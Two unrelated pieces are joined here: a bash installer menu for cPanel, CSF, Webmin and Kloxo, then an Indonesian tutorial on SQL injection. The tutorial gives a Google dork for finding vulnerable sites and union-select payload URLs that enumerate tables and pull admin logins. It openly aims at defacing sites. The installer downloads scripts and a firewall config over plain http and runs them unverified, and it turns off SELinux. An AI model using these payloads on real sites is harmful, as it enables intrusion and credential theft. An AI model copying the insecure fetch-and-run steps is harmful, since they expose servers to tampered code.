Cpanel/CSF & Webmin

#!/bin/bash
#
# Linux Shell Script for Various installations
#
# Developer : Ravikumar Tirumale
#
# Copyright : ScopeHosts Inc
#
# Version : 1.0.0
#
version="1.0.0"
red='\033[31m'
green='\033[32m'
reset='\033[0m'
choice=7


while [ $choice -le 7 ]
do

clear
sleep 2

echo -e $green"\n\n************************* ScopeHosts Inc ************************"
echo -e "*\t\t\t\t\t\t\t\t*"
echo -e "* Linux Shell Script for Various Installations\t\t\t*"
echo -e "* Developer : Ravikumar Tirumale\t\t\t\t*"
echo -e "* Copyright : ScopeHosts Inc\t\t\t\t*"
echo -e "* Version : 1.0.0\t\t\t\t\t\t*"
echo -e "*\t\t\t\t\t\t\t\t*"
echo -e "*****************************************************************\n"$reset

echo -e "Select the script that you want to install, Enter the respective number..\n"
echo -e " 1 - Install cPanel\n 2 - Update cPanel\n 3 - Install CSF\n 4 - Auto Config CSF"
echo -e " 5 - Install Webmin\n 6 - Install kloxo\n 7 - Exit\n"
echo -e "Enter your choice : \c"
read choice

case $choice in
1) echo -e "Do you want to proceed with the cPanel Installation [type y/n]: \c"
read answer
if [ "$answer" == "y" -o "$answer" == "Y" ]
then
echo -e "\n\n"
echo -e "Updating Yum...\n"
echo `yum update`
echo -e "Changing Directory to /home"
cd /home
echo -e "Downloading resource from offical site..."
echo -e "`wget -N http://layer1.cpanel.net/latest`"
echo `sh latest`
if test $? -eq 0
then
echo -e $green"cPanel has been Installed Successfully."$reset
else
echo -e $red"cPanel has been Not Installed Successfully."$reset
fi
cd

elif [ "$answer" == "n" -o "$answer" == "N" ]
then
echo " "
else
echo "Invalid key entered. Aborting the process."
fi;;

2) echo -e "Do you want to proceed with the cPanel Upgradation [type y/n]: \c"
read answer
if [ "$answer" == "y" -o "$answer" == "Y" ]
then
echo `/scripts/upcp`
if test $? -eq 0
then
echo -e $green"cPanel has been Upgraded Successfully."$reset
else
echo -e $red"cPanel has been Not Upgraded Successfully."$reset
fi
elif [ "$answer" == "n" -o "$answer" == "N" ]
then
echo " "
else
echo "Invalid key entered. Aborting the process."
fi;;

3) echo -e "Do you want to proceed with the CSF Installation [type y/n]: \c"
read answer
if [ "$answer" == "y" -o "$answer" == "Y" ]
then
echo -e "Removing any previous entries of csf..."
rm -fv csf.tgz
echo -e "Downloading Fresh copy of csf files..."
wget http://www.configserver.com/free/csf.tgz
echo -e "Extracting downloaded files..."
tar -xzf csf.tgz
echo -e "Changing the directory for installation..."
cd csf
echo -e "Installation will start now..."
echo `sh install.sh`
if test $? -eq 0
then
echo `perl /etc/csf/csftest.pl`
echo -e $green"CSF has been Successfully Installed."$reset
echo -e "Removing other firewalls iptables.."
echo `sh /etc/csf/remove_apf_bfd.sh`
echo -e $green"Done..."$reset
else
echo -e $red"CSF has been Not Installed Successfully."$reset
fi

elif [ "$answer" == "n" -o "$answer" == "N" ]
then
echo " "
else
echo "Invalid key entered. Aborting the process."
fi;;
4) echo -e "Do you want to proceed with the Auto Configuration of CSF [type y/n]: \c"
read answer
if [ "$answer" == "y" -o "$answer" == "Y" ]
then
if [ -f /etc/csf/csf.conf ]
then
echo -e "Downloading required files from source"
echo -e "`wget -N http://dlscripts.ravikumar.in/csf.conf`"
echo -e "Auto configuring the CSF"
mv /etc/csf/csf.conf /etc/csf/csf.conf.bak
mv csf.conf /etc/csf/csf.conf
/usr/sbin/csf -r
echo -e $green"CSF has been Auto Configured & csf + Ifd has been restarted."$reset
else
echo -e $red"CSF has not Installed yet. You have to install CSF before configuring it."$reset
fi
elif [ "$answer" == "n" -o "$answer" == "N" ]
then
echo " "
else
echo "Invalid key entered. Aborting the process."
fi;;

5) echo -e "Do you want to proceed with the Webmin Installation [type y/n]: \c"
read answer
if [ "$answer" == "y" -o "$answer" == "Y" ]
then
echo "Select the operating system on which you want to install webmin"
echo " 1 - Redhat, Fedora, CentOS, SuSE or Mandrake Linux"
echo " 2 - Debian, Ubuntu or other derived Linux"
echo -e "Enter your choice : \c"
read os

if [ $os == 1 ]
then
yum -y update
cd /root
wget http://prdownloads.sourceforge.net/weba ... noarch.rpm
rpm -U webmin-1.510-1.noarch.rpm
fi



if [ $os == 2 ]
then
apt-get -y update
apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl libmd5-perl
cd /root
wget http://prdownloads.sourceforge.net/weba ... 10_all.deb
dpkg --install webmin_1.510_all.deb
fi
elif [ "$answer" == "n" -o "$answer" == "N" ]
then
echo " "
else
echo "Invalid key entered. Aborting the process."
fi;;

6) echo -e "Do you want to proceed with the Kloxo Installation [type y/n]: \c"
read answer
if [ "$answer" == "y" -o "$answer" == "Y" ]
then
if [ -f /etc/redhat-release ]
then
setenforce 0
wget http://download.lxlabs.com/download/klo ... -master.sh
sh ./kloxo-install-master.sh
fi
elif [ "$answer" == "n" -o "$answer" == "N" ]
then
exit 0
else
echo "Invalid key entered. Aborting the process."
fi;;

7) echo -e "Do you want to Exit from the Installation [type y/n]: \c"
read answer
if [ "$answer" == "y" -o "$answer" == "Y" ]
then
exit 0
elif [ "$answer" == "n" -o "$answer" == "N" ]
then
choice=7
else
echo "Invalid key entered. Aborting the process."
fi;;

*) echo "Invalid Option"
esac
done

SQL injection Web Dengan Dork

SQL injection merupakan aksi hacking pada keamanan komputer di mana seorang penyerang bisa mendapatkan akses ke basis data di dalam sistem. Langsung aja ya ke permasalahannya yaitu Teknik SQL Injection dengan Dork namun Sebelum men daface sebuah situs, kita bisa menggunakan dork Sql Injection dengan bantuan om google
inurl:"product.php?id=" & intext:"You have an error in your SQL syntax"
Misal yang didapat :
http://www.targetweb.com/detailproduct.php?id=35
untuk mengecek bug pada suatu web tambahkan single quote ( ' ) dibelakang url
http://www.targetweb.com/detailproduct.php?id=35'


Setelah itu akan muncul bug pesan error :
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '\' and b.id=a.cat' at line 1

Untuk mencari column gunakan perintah [ order by ]
http://www.targetweb.com/detailproduct.php?id=35 order by 1--
mulai dari angka 1,2,3 dan seterusnya hingga menemukan pesan error selanjutnya 2, dst sampe muncul pesan error "Unknown column '17' in 'order clause'"
Pesan error muncul pada angka 17
http://www.targetweb.com/detailproduct.php?id=35 order by 17--
muncul pesan error:
Unknown column '17' in 'order clause'

Jadi angka yang diambil adalah 17-1 = 16 (jumlah column adalah 16)

Berikutnya kita akan mencari "angka" dimana dengan angka tersebut kita bisa melakukan injection dengan perintah "union all select"
http://www.targetweb.com/detailproduct.php?id=-35 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
Jangan lupa tambahkan tanda kurang ( - ) didepan angka parameter ID 35

akan muncul "angka" : 4, 7 dan 13
Pilih salah satunya saja, misal 4
Langsung kita cari versi Database MySql-nya dengan perintah [version()] atau [@@version] pada angka 4
http://www.targetweb.com/detailproduct.php?id=-35 union all select 1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16--

Nanti diweb tersebut akan muncul tulisan :
5.0.91-community
Ternyata versi 5, kalau versi 4 lain waktu akan saya bahas.

Selanjutnya kita akan mencari table-nya dgn perintah "group_concat(table_name)" pada salah satu angka dan menambahkan "+from+information_schema.tables+where+table_schema=database()--" di belakang angka 16
http://www.targetweb.com/detailproduct.php?id=-35 union all select 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.tables+where table_schema=database()--

Akan muncul nama-nama table :
login,tbanner,tcatprod,tproduct,tset dan lain-lain

Selanjutnya kita cari column dari table yg ada hubungannya dengan user+password,
kali ini kita ambil table "login"
sebelumnya kita convert dulu ke hexa agar dapat dibaca oleh Sql di sini :
http://cyber4rt.com/~converter
ketik : login
pilih ASCII to Hex
hasilnya : 6c6f67696e

Perintah selanjutnya adalah "group_concat(column_name)" pada angka 4 dan "+from+information_schema.columns+where+table_name=0xHEXA--" di akhir URL

ganti HEXA dengan hasil convert tadi yaitu : 6c6f67696e
tambahkan 0x didepan hexa agar server dapat mengetahui bahwa itu telah diconvert
ke hexa
http://www.targetweb.com/detailproduct.php?id=-35 union all select
1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14,15,16+from+info
rmation_schema.columns+where+table_name=0x6c6f67696e--

muncul column : user,pass

untuk melihat isi dari kedua column tersebut gunakan perintah "group_concat(column1,0x3a,column2)" pada angka ajaib 4 dan +from+NAMATABLE-- pada akhir URL

ganti column 1 dengan " user " dan column 2 dengan " pass "
0x3a adalah tanda titik dua ( : ) yang telah diconvert ke hexa
NAMA TABLE diganti dengan " login " untuk mengambil informasi dari table yang bernama
"login"
http://www.targetweb.com/detailproduct.php?id=-35 union all select
1,2,3,group_concat(user,0x3a,pass),5,6,7,8,9,10,11,12,13,14,15,16+from+login--

hasil : admin:admin
jadi,
user = admin
password = admin

Selesai pencarian User dan Password, dilanjutkan ke pencarian Page Admin.
Untuk mencari page admin, gunakan aplikasi berikut:
Instant SQLI
Atau juga bisa gunakan Aplikasi Havij

NB: ini saya ambil dari tutor yang saya baca dan sedikit saya ubah bahasa penulisan dan web tujuan.